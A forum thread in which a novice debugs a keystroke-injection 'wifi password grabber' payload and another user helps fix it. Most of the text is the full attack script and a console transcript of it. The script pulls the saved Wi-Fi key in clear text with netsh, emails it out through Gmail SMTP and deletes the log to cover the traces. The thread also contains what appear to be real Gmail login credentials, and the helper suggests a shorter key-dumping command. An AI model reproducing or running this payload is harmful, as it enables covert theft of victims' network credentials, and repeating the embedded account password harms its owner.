wifi pw grabber prob

[rainbowtornado]

tryna run wifi pw grabber email gets sent to designated address but heres whats in attached txt file w email:

 

SSID: get  (first word of network         name is 'get' so makes sense)

Network Type:  %NETTYPE%

Authentication: %AUTH%

Password: %KEY%

 

ken anyone help me here it took me hours to succesfully edit script to get email sent at all total newb here if n e one ken help me figure out why its not finding values of these fields included in email doc im obliged

[dark_pyrro]

To be able to troubleshoot, it would be good to know what the actual payload looks like.

[rainbowtornado]

C:\Users\computer>cd "%USERPROFILE%\Desktop"

C:\Users\computer\Desktop>for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "B"') do set SSID=%A

C:\Users\computer\Desktop>set SSID=get

C:\Users\computer\Desktop>netsh wlan show profiles %SSID% | findstr "Network type" | findstr /v "broadcast" | findstr /v "Radio">Temp.txt

C:\Users\computer\Desktop>for /f "tokens=3 delims=: " %A in ('findstr "Network type" Temp.txt') do set NETTYPE=%A

C:\Users\computer\Desktop>netsh wlan show profiles %SSID% | findstr "Authentication">Temp.txt

C:\Users\computer\Desktop>for /f "tokens=2 delims=: " %A in ('findstr "Authentication" Temp.txt') do set AUTH=%A

C:\Users\computer\Desktop>netsh wlan show profiles %SSID% key=clear | findstr "Key Content">Temp.txt

C:\Users\computer\Desktop>for /f "tokens=3 delims=: " %A in ('findstr "Key Content" Temp.txt') do set KEY=%A

C:\Users\computer\Desktop>del Temp.txt

C:\Users\computer\Desktop>echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt

C:\Users\computer\Desktop>powershell
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PS C:\Users\computer\Desktop> $SMTPServer = 'smtp.gmail.com'
PS C:\Users\computer\Desktop> $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
PS C:\Users\computer\Desktop> $SMTPInfo.EnableSsl = $true
PS C:\Users\computer\Desktop> $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('my email@gmail.com', 'mypassword');
PS C:\Users\computer\Desktop> $ReportEmail = New-Object System.Net.Mail.MailMessage
PS C:\Users\computer\Desktop> $ReportEmail.From = 'myemail@gmail.com'
PS C:\Users\computer\Desktop> $ReportEmail.To.Add('myemailsentto@gmail.com')
PS C:\Users\computer\Desktop> $ReportEmail.Subject = 'WiFi'
PS C:\Users\computer\Desktop> $ReportEmail.Body = 'The log is attached!'
PS C:\Users\computer\Desktop> $ReportEmail.Attachments.Add('Log.txt')
PS C:\Users\computer\Desktop> $SMTPInfo.Send($ReportEmail)
PS C:\Users\computer\Desktop> exit

[rainbowtornado]

using payload wifi password grabber payload off github any help feedback appreciated

 

DELAY 2000
WINDOWS d
REM --> Open cmd
WINDOWS r
DELAY 500
STRING cmd
ENTER
DELAY 1000
REM --> Change directory (you can change this to something else to make less visible)
STRING cd "%USERPROFILE%\Desktop"
ENTER
REM --> Get SSID
STRING for /f "tokens=2 delims=: " %A in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "B"') do set SSID=%A
ENTER
REM --> Get network type
STRING netsh wlan show profiles %SSID% | findstr "Network type" | findstr /v "broadcast" | findstr /v "Radio">Temp.txt
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Network type" Temp.txt') do set NETTYPE=%A
ENTER
REM --> Get authentication
STRING netsh wlan show profiles %SSID% | findstr "Authentication">Temp.txt
ENTER
STRING for /f "tokens=2 delims=: " %A in ('findstr "Authentication" Temp.txt') do set AUTH=%A
ENTER
REM --> Get key
STRING netsh wlan show profiles %SSID% key=clear | findstr "Key Content">Temp.txt
ENTER
STRING for /f "tokens=3 delims=: " %A in ('findstr "Key Content" Temp.txt') do set KEY=%A
ENTER
REM --> Delete Temp.txt
STRING del Temp.txt
ENTER
REM --> Create Log.txt
STRING echo SSID: %SSID%>>Log.txt & echo Network type: %NETTYPE%>>Log.txt & echo Authentication: %AUTH%>>Log.txt & echo Password: %KEY%>>Log.txt
ENTER
REM --> Mail Log.txt
STRING powershell
ENTER
STRING $SMTPServer = 'smtp.gmail.com'
ENTER
STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
ENTER
STRING $SMTPInfo.EnableSsl = $true
ENTER
STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('earlreallong99@gmail.com', 'Tempy22Lily');
ENTER
STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
ENTER
STRING $ReportEmail.From = 'earlreallong99@gmail.com'
ENTER
STRING $ReportEmail.To.Add('reallong99@gmail.com')
ENTER
STRING $ReportEmail.Subject = 'WiFi'
ENTER
STRING $ReportEmail.Body = 'The log is attached!' 
ENTER
STRING $ReportEmail.Attachments.Add('Log.txt')
ENTER
STRING $SMTPInfo.Send($ReportEmail)
ENTER
STRING exit
ENTER
REM --> Delete Log.txt and exit
STRING del Log.txt & exit
ENTER

 

 

[dark_pyrro]

I can't see why that shouldn't work.

You say this though; "get  (first word of network"..... is "get" the SSID or are there more words/chars in the SSID? If the SSID is not present, then the variables will be set as you get them in your result file, meaning; NETTYPE will be %NETTYPE% in the result file if there is no SSID that you can obtain the NETTYPE from.

It's also a rather cumbersome way of doing it, why not just use:
netsh wlan export profile key=clear

 

[rainbowtornado]

full ssid is 'get your own', only word 'get' appears in email tho

 

[dark_pyrro]

Exactly!

My guess is that there is a flaw/bug in that payload making it only "compatible" with SSIDs that is "one word only"; SSID = "oneword" works, SSID = "two words" does not. In your case; SSID = "getyourown" is OK, whereas SSID = "get your own" isn't working since the payload script seems to just grab "get" as the SSID name and when the script continues to execute it can't find any SSID named "get" hence not getting any information to store in the coming variables which makes (for example) NETWORK to be %NETWORK% and that is what you see in the result file that is emailed to you.

[rainbowtornado]

oh wow thank you vvererrrrry much mi amigo